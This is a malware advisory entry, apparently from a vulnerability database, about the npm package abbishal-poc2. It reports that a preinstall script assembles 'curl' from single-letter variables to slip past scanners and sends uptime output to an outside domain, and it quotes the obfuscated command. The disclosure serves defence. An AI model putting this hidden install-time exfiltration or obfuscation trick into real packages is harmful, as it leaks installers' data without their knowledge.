Malicious code in abbishal-poc2 (npm)

CISA KEV is observed exploitation evidence. FIRST EPSS is a dated prediction of exploitation in the next 30 days. Missing scores are unknown. This collector requests predictions only for explicit CVE aliases in the public NuGet archive; Microsoft release views retain their existing prediction scope.

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--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (e1a4950e43d1db42d899107c229ccdbb21fd5e8eeeb4d5771b352a8918658e4f) package.json declares a preinstall script `sh./test.sh`. test.sh assembles the string `curl` from single-character shell variables (b=e, i=c, s=n, h=u, a=v, l=rl) and then invokes `$i$h$l -d "`uptime`" https://abbishal.com/sh/poc`, POSTing the output of `uptime` (and implicitly the installer's source IP) to abbishal.com at npm install time. The README claims the package has no install scripts and no network activity, directly contradicting the shipped behavior. The command-name obfuscation via per-letter variable assembly is a technique to evade static scanners searching for `curl` in lifecycle scripts, and the destination domain does not match the package's claimed publisher.

Source published

8 Oct 2026 03:40:58 UTC

Source modified

8 Oct 2026 04:00:04 UTC

Observed here

24 Oct 2026 13:17:17 UTC

Source terms

OSV · upstream source license applies

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